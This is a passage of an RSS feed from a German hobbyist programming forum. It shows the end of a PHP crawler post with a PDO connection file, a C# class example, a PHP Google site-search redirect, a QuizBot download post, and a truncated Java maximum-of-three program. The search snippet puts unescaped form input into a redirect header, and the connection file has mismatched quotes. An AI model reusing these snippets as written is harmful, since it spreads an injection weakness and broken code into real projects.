#0000BB">A</span><span style="color: #007700">-</span><span style="color: #0000BB">Z0</span><span style="color: #007700">-</span><span style="color: #0000BB">9_&nbsp;</span><span style="color: #007700">&#93;*)+):?(\</span><span style="color: #0000BB">d</span><span style="color: #007700">+)?\/?/</span><span style="color: #0000BB">i</span><span style="color: #DD0000">',&nbsp;$url))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;CHECK&nbsp;if&nbsp;website&nbsp;is&nbsp;already&nbsp;in&nbsp;queue,&nbsp;if&nbsp;yes&nbsp;skip&nbsp;it&nbsp;from&nbsp;inserting&nbsp;into&nbsp;database<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if($statement_select-&gt;execute(array($url)))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!count($statement_select-&gt;fetchAll())&nbsp;&gt;&nbsp;0)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$url_to_insert&nbsp;=&nbsp;$e-&gt;href;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$statement-&gt;execute();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;"Website&nbsp;".&nbsp;$url&nbsp;."&nbsp;already&nbsp;in&nbsp;queue!&nbsp;&lt;br&nbsp;/&gt;";<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$html-&gt;clear();&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;STEP&nbsp;8:&nbsp;Final&nbsp;Output<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;"Processing&nbsp;queue...";<br />?&gt;</span>
</span>
</code></code><hr />
</div><br />
<b>dbcon.php</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">&lt;?<br /></span><span style="color: #FF8000">/*<br /><br />DATABASE&nbsp;CONNECTION<br /><br />*/<br /></span><span style="color: #0000BB">error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">E_ALL</span><span style="color: #007700">);<br /><br />Class&nbsp;</span><span style="color: #0000BB">SafePDO&nbsp;</span><span style="color: #007700">extends&nbsp;</span><span style="color: #0000BB">PDO&nbsp;</span><span style="color: #007700">{<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;function&nbsp;</span><span style="color: #0000BB">exception_handler</span><span style="color: #007700">(</span><span style="color: #0000BB">$exception</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Output&nbsp;the&nbsp;exception&nbsp;details<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">die(</span><span style="color: #DD0000">'Uncaught&nbsp;exception:&nbsp;'</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">$exception</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">getMessage</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;function&nbsp;</span><span style="color: #0000BB">__construct</span><span style="color: #007700">(</span><span style="color: #0000BB">$dsn</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$username</span><span style="color: #007700">=</span><span style="color: #DD0000">''</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$password</span><span style="color: #007700">=</span><span style="color: #DD0000">''</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$driver_options</span><span style="color: #007700">=array())&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Temporarily&nbsp;change&nbsp;the&nbsp;PHP&nbsp;exception&nbsp;handler&nbsp;while&nbsp;we&nbsp;.&nbsp;.&nbsp;.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set_exception_handler</span><span style="color: #007700">(array(</span><span style="color: #0000BB">__CLASS__</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">'exception_handler'</span><span style="color: #007700">));<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;.&nbsp;.&nbsp;.&nbsp;create&nbsp;a&nbsp;PDO&nbsp;object<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">parent</span><span style="color: #007700">::</span><span style="color: #0000BB">__construct</span><span style="color: #007700">(</span><span style="color: #0000BB">$dsn</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$username</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$password</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$driver_options</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Change&nbsp;the&nbsp;exception&nbsp;handler&nbsp;back&nbsp;to&nbsp;whatever&nbsp;it&nbsp;was&nbsp;before<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">restore_exception_handler</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />}<br /><br /></span><span style="color: #FF8000">//&nbsp;Connect&nbsp;to&nbsp;the&nbsp;database&nbsp;with&nbsp;defined&nbsp;constants<br /></span><span style="color: #0000BB">$dbh&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">SafePDO</span><span style="color: #007700">(</span><span style="color: #DD0000">'mysql:host=localhost;dbname=test'</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">testuser</span><span style="color: #DD0000">',&nbsp;'</span><span style="color: #0000BB">testpass</span><span style="color: #DD0000">',&nbsp;array(PDO::ATTR_PERSISTENT&nbsp;=&gt;&nbsp;TRUE&nbsp;));<br />?&gt;</span>
</span>
</code></code><hr />
</div><b>Am wichtigsten ist wohl die HTML Parser Klasse.</b><br />
Hier gibt es Abhilfe. Ich habe den HTML Parser von <a href="http://sourceforge.net/projects/simplehtmldom/" target="_blank" rel="nofollow">PHP Simple HTML DOM Parser | Free Development software downloads at SourceForge.net</a> genommen. Dieser funktioniert zuverlässig und schnell.<br />
<br />
Für die<b> Httpconnection und tcpconnection class</b>, kann man sich derer von <a href="http://php-classes.sourceforge.net/" target="_blank" rel="nofollow">PHP Class Collection</a> bedienen. Die gibt es sowohl für ältere PHP Versionen, als auch für die neusten.<br />
<br />
// Edit<br />
<br />
Wie Comu bereits beschrieb, ist der Robot Parser von <a href="http://www.the-art-of-web.com/php/parse-robots/" target="_blank" rel="nofollow">http://www.the-art-of-web.com/php/parse-robots/</a> :)</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Live0x00</dc:creator>
			<guid isPermaLink="true">showroom-102/php-html-crawlbot-31220</guid>
		</item>
		<item>
			<title><![CDATA[[C#] Einfaches Klassenbeispiel]]></title>
			<link>showroom-102/c-einfaches-klassenbeispiel-31197?goto=newpost</link>
			<pubDate>Wed, 16 Nov 2011 21:07:11 GMT</pubDate>
			<description>Heyho, ich arbeite momentan etwas mit C# und habe mir ein einfachen Beispiel für eine Klasse geschrieben. 
Eventuell kann es ja jemand von euch...</description>
			<content:encoded><![CDATA[<div>Heyho, ich arbeite momentan etwas mit C# und habe mir ein einfachen Beispiel für eine Klasse geschrieben.<br />
Eventuell kann es ja jemand von euch gebrauchen :)<br />
<br />
Person.cs<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
<br />
using System;<br />
<br />
namespace Klassenübung<br />
{<br />
    /// &lt;summary&gt;<br />
    /// Die Klasse Person<br />
    /// &lt;/summary&gt;<br />
    class Person<br />
    {<br />
        /// &lt;summary&gt;<br />
        /// Die Person der Klasse<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&quot;_vorname&quot;&gt;Der Vorname&lt;/param&gt;<br />
        /// &lt;param name=&quot;_nachname&quot;&gt;Der Nachname&lt;/param&gt;<br />
        /// &lt;param name=&quot;_alter&quot;&gt;Das Alter&lt;/param&gt;<br />
        /// &lt;param name=&quot;_wohnort&quot;&gt;Der Wohnort&lt;/param&gt;<br />
        /// &lt;param name=&quot;_geburtsdatum&quot;&gt;Das Geburtsdatum&lt;/param&gt;<br />
        public Person(string _vorname, string _nachname, int _alter, string _wohnort, string _geburtsdatum)<br />
        {<br />
            #region Angaben<br />
            Vorname = _vorname;<br />
            Nachname = _nachname;<br />
            Alter = _alter;<br />
            Wohnort = _wohnort;<br />
            Geburtsdatum = _geburtsdatum; <br />
            #endregion<br />
        }<br />
<br />
        /// &lt;summary&gt;<br />
        /// Das Alter der Person<br />
        /// &lt;/summary&gt;<br />
        public int Alter { get; private set; }<br />
        /// &lt;summary&gt;<br />
        /// Der Vorname der Person<br />
        /// &lt;/summary&gt;<br />
        public String Vorname { get; private set; }<br />
        /// &lt;summary&gt;<br />
        /// Der Nachname der Person<br />
        /// &lt;/summary&gt;<br />
        public String Nachname { get; set; }<br />
        /// &lt;summary&gt;<br />
        /// Der Wohnort der Person<br />
        /// &lt;/summary&gt;<br />
        public String Wohnort { get; set; }<br />
        /// &lt;summary&gt;<br />
        /// Das Geburtsdatum der Person<br />
        /// &lt;/summary&gt;<br />
        public String Geburtsdatum { get; private set; }<br />
<br />
<br />
        <br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script>Program.cs<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
<br />
namespace Klassenübung<br />
{<br />
    class Program<br />
    {<br />
        static void Main(string&#91;&#93; args)<br />
        {<br />
<br />
            Person me = new Person(&quot;Nico&quot;, &quot;Schmitz&quot;, 18, &quot;Köln&quot;, &quot;03.11.1993&quot;);<br />
            Console.WriteLine(&quot;Vorname: &quot; + me.Vorname + &quot;\nNachname: &quot; + me.Nachname + &quot;\nAlter: &quot; + me.Alter + &quot;\nWohnort: &quot; + me.Wohnort + &quot;\nGeburtsdatum: &quot; + me.Geburtsdatum);<br />
                        <br />
        }<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">showroom-102/c-einfaches-klassenbeispiel-31197</guid>
		</item>
		<item>
			<title><![CDATA[[PHP Snippet] Google Suche einbinden]]></title>
			<link>showroom-102/php-snippet-google-suche-einbinden-31657?goto=newpost</link>
			<pubDate>Wed, 16 Nov 2011 18:44:36 GMT</pubDate>
			<description>Hoi, 
Google verlangt Geld dafür, wenn man ihre Engine auf der eigenen Webseite einbauen möchte. Nunja, da hab ich mir gedacht, es muss ja nicht...</description>
			<content:encoded><![CDATA[<div>Hoi,<br />
Google verlangt Geld dafür, wenn man ihre Engine auf der eigenen Webseite einbauen möchte. Nunja, da hab ich mir gedacht, es muss ja nicht unbedingt die eigene Webseite sein wo das ganze eingebaut wird, solang die Suche funktioniert.<br />
<br />
Ich weiß, es ist nichts großes, aber eventuell für manche interessant:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br /><br />&nbsp;&nbsp;$seite&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">'k-script.cc'</span><span style="color: #007700">;<br />&nbsp;&nbsp;<br />&nbsp;&nbsp;if(isset(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'submit'</span><span style="color: #007700">&#93;)&nbsp;AND&nbsp;!empty(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'suchtext'</span><span style="color: #007700">&#93;))<br />&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">header</span><span style="color: #007700">(</span><span style="color: #DD0000">'Location:&nbsp;http://www.google.de/#sclient=psy-ab&amp;hl=de&amp;q=site:'</span><span style="color: #007700">.</span><span style="color: #0000BB">$seite</span><span style="color: #007700">.</span><span style="color: #DD0000">'+'</span><span style="color: #007700">.</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'suchtext'</span><span style="color: #007700">&#93;.</span><span style="color: #DD0000">'&amp;pbx=1&amp;oq=site:'</span><span style="color: #007700">.</span><span style="color: #0000BB">$seite</span><span style="color: #007700">.</span><span style="color: #DD0000">'+'</span><span style="color: #007700">.</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'suchtext'</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;}<br /><br /></span><span style="color: #0000BB">?&gt;<br /></span><br />&lt;!DOCTYPE&nbsp;html&nbsp;PUBLIC&nbsp;"-//W3C//DTD&nbsp;XHTML&nbsp;1.0&nbsp;Transitional//EN"<br />"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;<br />&lt;html&nbsp;xmlns="http://www.w3.org/1999/xhtml"&gt;<br />&lt;head&gt;<br />&nbsp;&nbsp;&lt;title&gt;&nbsp;<span style="color: #0000BB">&lt;?php&nbsp;</span><span style="color: #007700">echo&nbsp;</span><span style="color: #0000BB">$seite</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">?&gt;</span>&nbsp;Suche&nbsp;&lt;/title&gt;<br />&nbsp;&nbsp;&lt;meta&nbsp;http-equiv="Content-Type"&nbsp;content="text/html;&nbsp;charset=utf-8"&nbsp;/&gt;<br />&lt;/head&gt;<br />&lt;body&gt;<br />&nbsp;&nbsp;<br />&nbsp;&nbsp;&lt;form&nbsp;action="#"&nbsp;method="post"&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;Suche&nbsp;mit&nbsp;Google&nbsp;in&nbsp;<span style="color: #0000BB">&lt;?php&nbsp;</span><span style="color: #007700">echo&nbsp;</span><span style="color: #0000BB">$seite</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">?&gt;</span>&nbsp;nach:&nbsp;&lt;input&nbsp;type="text"&nbsp;name="suchtext"&nbsp;/&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&lt;input&nbsp;type="submit"&nbsp;name="submit"&nbsp;value="Suchen!"&nbsp;/&gt;<br />&nbsp;&nbsp;&lt;/form&gt;<br />&nbsp;&nbsp;<br />&lt;/body&gt;<br />&lt;/html&gt;</span>
</code></code><hr />
</div></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Comu</dc:creator>
			<guid isPermaLink="true">showroom-102/php-snippet-google-suche-einbinden-31657</guid>
		</item>
		<item>
			<title><![CDATA[[Source] QuizBot]]></title>
			<link>showroom-102/source-quizbot-30808?goto=newpost</link>
			<pubDate>Fri, 11 Nov 2011 12:52:17 GMT</pubDate>
			<description>Hallo, 
habe vor einiger Zeit einen QuizBot in VB.NET begonnen und da ich jetzt keinen 
Bock mehr habe daran weiter zu arbeiten stell ich euch den...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
habe vor einiger Zeit einen QuizBot in VB.NET begonnen und da ich jetzt keinen<br />
Bock mehr habe daran weiter zu arbeiten stell ich euch den Source zur Verfügung.<br />
<br />
Code ist teilweise ziemlich dirty aber er erfüllt seinen Zweck.<br />
<br />
Ein paar Sachen sind noch nicht gemacht aber der Großteil ist fertig.<br />
<br />
DL: exception.bplaced.net/QuizzySource.rar<br />
<br />
-&gt; Natürlich müsst Ihr die PHP Files auf eure MySQL-DB anpassen.<br />
-&gt; Datenbank wird automatisch aufgefüllt.(sobald Quiz vorbei ist wird der Log durchgecheckt und<br />
    alle Fragen &amp; Antworten werden in die DB eingefügt)<br />
<br />
Screen:<br />
<a href="http://imageshack.us/photo/my-images/706/quizu6zz.png/" target="_blank" rel="nofollow"><img src="http://img706.imageshack.us/img706/5260/quizu6zz.png" border="0" alt="" /></a><br />
<br />
Uploaded with <a href="http://imageshack.us" target="_blank" rel="nofollow">ImageShack.us</a><br />
<br />
Bei Fragen fragen!<br />
<br />
MfG</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>exception</dc:creator>
			<guid isPermaLink="true">showroom-102/source-quizbot-30808</guid>
		</item>
		<item>
			<title><![CDATA[[JAVA] Maximum aus 3 Zahlen finden]]></title>
			<link>showroom-102/java-maximum-aus-3-zahlen-finden-30730?goto=newpost</link>
			<pubDate>Tue, 18 Oct 2011 21:42:21 GMT</pubDate>
			<description>Der nachfolgende Algorithmus findet aus 3 Zahlen das Maximum, also die höchste Zahl, und gibt sie aus. 
 
Dateiname: Neu.java 
 
PHP: 
---------...</description>
			<content:encoded><![CDATA[<div>Der nachfolgende Algorithmus findet aus 3 Zahlen das Maximum, also die höchste Zahl, und gibt sie aus.<br />
<br />
Dateiname: Neu.java<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">util</span><span style="color: #007700">.</span><span style="color: #0000BB">Scanner</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">import&nbsp;java</span><span style="color: #007700">.</span><span style="color: #0000BB">lang</span><span style="color: #007700">.*;<br /><br />public&nbsp;class&nbsp;</span><span style="color: #0000BB">Neu&nbsp;</span><span style="color: #007700">{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;main</span><span style="color: #007700">(</span><span style="color: #0000BB">String</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">args</span><span style="color: #007700">)&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;zahlen</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;a</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">b</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;max&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Scanner&nbsp;in&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Scanner</span><span style="color: #007700">(</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">in</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//String&nbsp;wird&nbsp;eingelesen<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">out</span><span style="color: #007700">.</span><span style="color: #0000BB">println</span><span style="color: #007700">(</span><span style="color: #DD0000">"Geben&nbsp;Sie&nbsp;3&nbsp;Zahlen&nbsp;im&nbsp;Format&nbsp;1-2-3&nbsp;ein"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">zahlen&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">in</span><span style="color: #007700">.</span><span style="color: #0000BB">nextLine</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//Zahlen&nbsp;werden&nbsp;aufgeteilt&nbsp;und&nbsp;in&nbsp;ein&nbsp;Array&nbsp;geschrieben<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">neu&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">zahlen</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"-"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//Konvertierung&nbsp;vom&nbsp;String&nbsp;zum&nbsp;Integer&nbsp;um&nbsp;eine&nbsp;Reihung&nbsp;vornehmen&nbsp;zu&nbsp;können<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">a&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">.</span><span style="color: #0000BB">parseInt</span><span style="color: #007700">(</span><span style="color: #0000BB">neu</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">b&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">.</span><span style="color: #0000BB">parseInt</span><span style="color: #007700">(</span><span style="color: #0000BB">neu</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Integer</span><span style="color: #007700">.</span><span style="color: #0000BB">parseInt</span><span style="color: #007700">(</span><span style="color: #0000BB">neu</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">2</span><span style="color: #007700">&#93;);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">in</span><span style="color: #007700">.</span><span style="color: #0000BB">close</span><span style="color: #007700">();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//Algorithmus&nbsp;zum&nbsp;Finden&nbsp;des&nbsp;Maximums<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;((</span><span style="color: #0000BB">a&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">b</span><span style="color: #007700">)&nbsp;&amp;&nbsp;(</span><span style="color: #0000BB">a&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">))&nbsp;{<br 